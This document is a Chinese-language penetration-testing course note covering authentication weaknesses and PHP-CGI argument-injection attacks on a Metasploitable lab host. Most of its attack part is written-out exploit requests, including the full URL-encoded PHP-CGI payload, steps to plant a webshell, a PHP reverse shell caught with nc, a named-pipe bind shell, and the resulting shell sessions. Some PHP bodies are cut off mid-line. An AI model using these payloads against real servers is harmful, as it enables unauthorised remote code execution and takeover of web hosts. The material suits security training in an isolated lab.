Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试（苑房弘）博客记录

1. 手动漏洞挖掘的原则
2. 漏洞的本质
3. 身份认证漏洞
	3-1. 针对身份认证
	3-2. 会话 SessionID
	3-3. 密码找回时的漏洞
4. 默认安装漏洞
	4-1. phpMyAdminsetup
		4-1-1. 测试 DVWA 的 phpMyAdmin 漏洞
		4-1-2. 写入简单 webshell
		4-1-3. PHP 反弹 shell
	4-2. Ubuntu Debian 默认安装 PHP5-cgi
		4-2-1. 测试漏洞
		4-2-2. 服务器打开侦听端口

手动漏洞挖掘的原则

---

• 所有变量

• 所有头

  Cookie的变量

• 逐个变量删除

漏洞的本质

---

• 数据与指令的混淆
• 对用户输入信息过滤不严判断失误，误将指令当数据

身份认证漏洞

---

针对身份认证

1. 使用常用弱口令/基于字典的密码暴力破解
2. 测试是否锁定账号
3. 测试基于手机号的用户名破解，可以在站内论坛收集用户信息
4. 查看错误秘密提升信息，可以判断用户名或者密码错误
5. 密码嗅探工具可以直接获取密码

会话 SessionID

1. Xss / cookie importer
2. SessionID in URL
3. 使用嗅探工具.
4. 测试 SessionID 是否是长期不变的
5. 破译 SessionID 生成算法
   • Sequencer
   • 私有算法
   • 预判下一次登录时生成的 SessionID
   • 登出后返回测试

密码找回时的漏洞

1. 在 URL 中存在密码的散列值，可以直接进行密码设置

#默认安装漏洞 #

---

phpMyAdmin/setup

测试 DVWA 的 phpMyAdmin 漏洞

1. Burpsuite 测试命令

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
   
    
   

   

2. 查看权限

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 64
    
    
   

3. 查看可以使用的命令

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 114
    
    
   

4. 测试写入权限

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 114
    
     a.txt');
    passthru('cat a.txt');
    passthru('ls');
    die();
    ?>
   

写入简单 webshell

1. 简单网页木马

2. 上传木马

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 133
    
    " > /var/www/3.php');
    passthru('cat /var/www/3.php');
    die();
    ?>
   

3. 验证此简单木马

   

   

   

PHP 反弹 shell

1. 获取 webshell

    root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/test.php
   

2. 修改要反弹到的主机IP

   

3. 通过 POST 方法直接将文本内容发给目标服务器

   

4. 开始监听反弹的端口

    root@kali:~# nc -nvvlp 1234
    listening on [any] 1234 ...
   

5. BurpSuite 发送请求，执行木马并反弹

   

6. 查看 nc 的监听情况

    root@kali:~# nc -nvvlp 1234
    listening on [any] 1234 ...
    connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 43856
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
     04:28:00 up  2:57,  2 users,  load average: 0.03, 0.01, 0.00
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    msfadmin tty1     -                03Mar18  1:48   0.01s  0.00s /bin/login -- 
    root     pts/0    :0.0             03Mar18 17days  0.00s  0.00s -bash
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    sh: no job control in this shell
    sh-3.2$ 
   

7. 使用 nc 直接进行操作

    sh-3.2$ pwd
    /
    sh-3.2$ cd home
    sh-3.2$ ls
    ftp
    msfadmin
    service
    user
    sh-3.2$ pwd
    /home
    sh-3.2$ netstat -tulnp   
    sh-3.2$ which ifconfig
    sh-3.2$ whereis ifconfig                                          
    ifconfig: /sbin/ifconfig /usr/share/man/man8/ifconfig.8.gz
    sh-3.2$ /sbin/ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:0c:29:d0:ab:2c  
              inet addr:10.10.10.132  Bcast:10.10.10.255  Mask:255.255.255.0
              inet6 addr: fe80::20c:29ff:fed0:ab2c/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:3232 errors:0 dropped:0 overruns:0 frame:0
              TX packets:1065 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:301079 (294.0 KB)  TX bytes:278971 (272.4 KB)
              Base address:0x2000 Memory:fd5c0000-fd5e0000 
    sh-3.2$ 
   

Ubuntu / Debian 默认安装 PHP5-cgi

可直接访问 /cgi-bin/php5 和 /cgi-bin/php (爬不出来的目录)

测试漏洞

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 86

服务器打开侦听端口

1. 服务器打开端口

    POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
    Host: 123
    Content-Length: 86
    
     /tmp/pipe');
    die();
    ?>
   

   

2. kali 验证 shell

    root@kali:~# nc 10.10.10.132 4444
    ls
    php
    php5
    pwd
    /usr/lib/cgi-bin
    ls /var/www
    3.php
    dav
    dvwa
    index.php
    mutillidae
    phpMyAdmin
    phpinfo.php
    test
    tikiwiki
    tikiwiki-old
    twiki
   

3. kali 端口 nc

    root@kali:~# nc 10.10.10.132 4444
    ls /var/www
    3.php
    dav
    dvwa
    index.php
    mutillidae
    phpMyAdmin
    phpinfo.php
    test
    tikiwiki
    tikiwiki-old
    twiki
    exit
    exit
    root@kali:~# 
   

4. BurpSuite 上显示此次访问结束